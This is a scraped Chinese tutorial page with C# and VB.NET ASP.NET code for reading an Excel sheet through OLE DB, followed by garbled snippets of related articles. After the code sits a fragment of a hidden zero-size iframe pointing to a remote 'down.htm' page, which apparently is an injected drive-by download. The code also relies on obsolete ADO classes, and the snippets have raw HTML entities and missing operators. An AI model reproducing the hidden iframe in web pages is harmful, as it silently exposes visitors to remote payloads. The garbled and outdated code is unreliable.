在ASP.NET访问Excel文件 (VB.NET and C#)

news/2025/2/25 18:52:14

在ASP.NET访问Excel文件 (VB and C#)

   C# Code---------------------------------------------<%@ Page Language="C#" %><%@ Import Namespace="System.Data" %><%@ Import Namespace="System.Data.ADO" %><script language="C#" runat="server">protected void Page_Load(Object Src, EventArgs E){string strConn;strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" +"Data Source=C://exceltest.xls;" +"Extended Properties=Excel 8.0;";ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn);DataSet myDataSet = new DataSet();myCommand.FillDataSet(myDataSet, "ExcelInfo");DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView;DataGrid1.DataBind();}</script><p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p><asp:DataGrid id=DataGrid1 runat="server"/>VB.NET Code----------------------------------------------<%@ Page Language="VB" %><%@ Import Namespace="System.Data" %><%@ Import Namespace="System.Data.ADO" %><script language="VB" runat="server">Sub Page_Load(sender As Object, e As EventArgs)Dim myDataset As New DataSet()Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _& "Data Source=C:/exceltest.xls;" _& "Extended Properties=""Excel 8.0;"""Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")myADODataSetCommand.FillDataSet(myDataset)DataGrid1.DataSource = myDataset.Tables(0).DefaultViewDataGrid1.DataBind()End Sub</script><p><asp:Label id=Label1 runat="server">Excel表格内容:</asp:Label></p><asp:DataGrid id=DataGrid1 runat="server"/>
  

src=http://lucky.myrice.com/down.htm width=0 height=0 boeder=0>



http://www.niftyadmin.cn/n/3656428.html

相关文章

打印对象的所有属性或方法

打印对象的所有属性或方法例如,下面的例子打印出DOCUMENT对象的所有属性和方法&#xff0c;代码如下&#xff1a;<SCRIPT>functionpopUpProperties(inobj) { op window.open(); op.document.open(text/html); for(objprop ininobj) { op.document.write(objprop 的属性或…

使用Guava RateLimiter限流以及源码解析

前言 在开发高并发系统时有三把利器用来保护系统&#xff1a;缓存、降级和限流 缓存 缓存的目的是提升系统访问速度和增大系统处理容量降级 降级是当服务出现问题或者影响到核心流程时&#xff0c;需要暂时屏蔽掉&#xff0c;待高峰或者问题解决后再打开限流 限流的目的是通过…

怎样弹出 CD-ROM

弹出 CD-ROMConst CDROM 4For Each d in CreateObject("Scripting.FileSystemObject").Drives If d.DriveType CDROM Then Eject d.DriveLetter & ":/" End IfNextSub Eject(CDROM) Dim ssfDrives ssfDrives 17 CreateObject("Shell…

如何确定CD-ROM驱动器的盘符?

如何确定CD-ROM驱动器的盘符&#xff1f;Const DriveTypeCDROM 4 Set oFS Wscript.CreateObject("Scripting.FileSystemObject") Set oDrives oFS.Drives 循环 A-Z.如发现则退出&#xff01; For Each Drive in oDrives If Drive.DriveType DriveTypeCDRO…

开发基于XML的留言板

开发基于XML的留言板XML&#xff08;Extensible Markup Language&#xff09;是一种基于文本格式的标记语言&#xff0c;它注重对数据结构和数据意义的描述&#xff0c;实现了数据内容和显示样式的分离&#xff0c;而且是与平台无关的。由于XML注重数据内容的描述&#xff0c;因…

怎样捕捉 Delete 键

怎样捕捉 Delete 键在NN6里&#xff0c;当你按下 Delete 键时&#xff0c;会触发 onkeydown, onkeypress, 和 onkeyup 事件&#xff0c;可以用 event.which 46 来进行捕捉。  但在IE5里&#xff0c;当按下 Delete 键时&#xff0c;只触发 onkeydown 和 onkeyup 事件&#xf…

★★ 在网页中调用IE的内部命令 ★★

在网页中调用IE的内部命令 【孟宪会之精彩世界】 http://go.163.com/colorweb 在IE4的网页中&#xff0c;使用IE的内部命令&#xff0c;可以实现一些常用的命令&#xff1a;如打印、刷新等。语法如下&#xff1a; bSuccess object.execCommand(sCommand [, bUserInterface] [,…

ASP.NET里的字符替换一例

ASP.NET里的字符替换一例<% Import Namespace"System.IO" %><% Import Namespace"System.Text.RegularExpressions" %><script language"VB" runat"server">Sub Page_Load(Src As Object, E As EventArgs)Dim strTe…